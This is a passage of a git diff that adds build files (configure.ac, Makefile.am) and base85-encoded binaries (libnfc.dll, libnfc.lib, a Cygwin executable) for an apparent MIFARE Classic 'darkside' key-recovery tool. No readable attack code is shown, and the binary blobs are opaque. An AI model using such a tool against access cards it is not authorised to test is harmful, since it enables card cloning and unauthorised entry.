x"$PKG_CONFIG" != "x"; then + PKG_CHECK_MODULES([LIBNFC], [libnfc], [WITH_NFC=1], [WITH_NFC=0]) + fi +fi +CFLAGS="$CFLAGS $LIBNFC_CFLAGS" +AC_CHECK_HEADERS([nfc/nfc.h],[WITH_NFC=1], AC_MSG_ERROR([A version of libnfc greater than or equal to 1.3 is required])) + +if test x"$WITH_NFC" = "x0"; then + AC_MSG_ERROR([A version of libnfc greater than or equal to 1.3 is required.]) +fi + +# Checks for programs. +AC_PROG_CC + +# Checks for libraries. +AC_CHECK_LIB([nfc], [nfc_version]) + +# Checks for header files. +AC_CHECK_HEADERS([stdint.h stdlib.h string.h sys/time.h unistd.h]) + +# Checks for typedefs, structures, and compiler characteristics. +AC_HEADER_STDBOOL +AC_TYPE_SIZE_T +AC_TYPE_UINT16_T +AC_TYPE_UINT32_T +AC_TYPE_UINT64_T +AC_TYPE_UINT8_T + +# Checks for library functions. +AC_FUNC_MALLOC +AC_FUNC_REALLOC +AC_CHECK_FUNCS([memset strchr]) + +AC_CONFIG_FILES([Makefile + src/Makefile]) +AC_OUTPUT diff --git a/src/Makefile.am b/src/Makefile.am new file mode 100644 index 0000000..9aa2c13 --- /dev/null +++ b/src/Makefile.am @@ -0,0 +1,7 @@ +bin_PROGRAMS = mfcuk_keyrecovery_darkside + +# set the include path found by configure +mfcuk_keyrecovery_darkside_SOURCES = mfcuk_keyrecovery_darkside.c mfcuk_mifare.c mfcuk_utils.c crapto1.c crypto1.c +mfcuk_keyrecovery_darkside_LDADD = -lnfc -lusb -lpcsclite + +# dist_man_MANS = mfcuk_keyrecovery_darkside.1 diff --git a/src/bin/libnfc.dll b/src/bin/libnfc.dll new file mode 100644 index 0000000000000000000000000000000000000000..ed3d64d171ac625561e8acfe1f1e4cdfe93b0a9d GIT binary patch literal 22016 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 literal 0 HcmV?d00001 diff --git a/src/bin/libnfc.lib b/src/bin/libnfc.lib new file mode 100644 index 0000000000000000000000000000000000000000..ab71e7bc1d27f7db19ea13f22a1deb6145abf7d5 GIT binary patch literal 10218 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 literal 0 HcmV?d00001 diff --git a/src/bin/mfcuk_keyrecovery_darkside_cygwin.exe b/src/bin/mfcuk_keyrecovery_darkside_cygwin.exe new file mode 100644 index 0000000000000000000000000000000000000000..aaea7b831026acea61b169c351a35e9083cafce2 GIT binary patch literal 48733 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 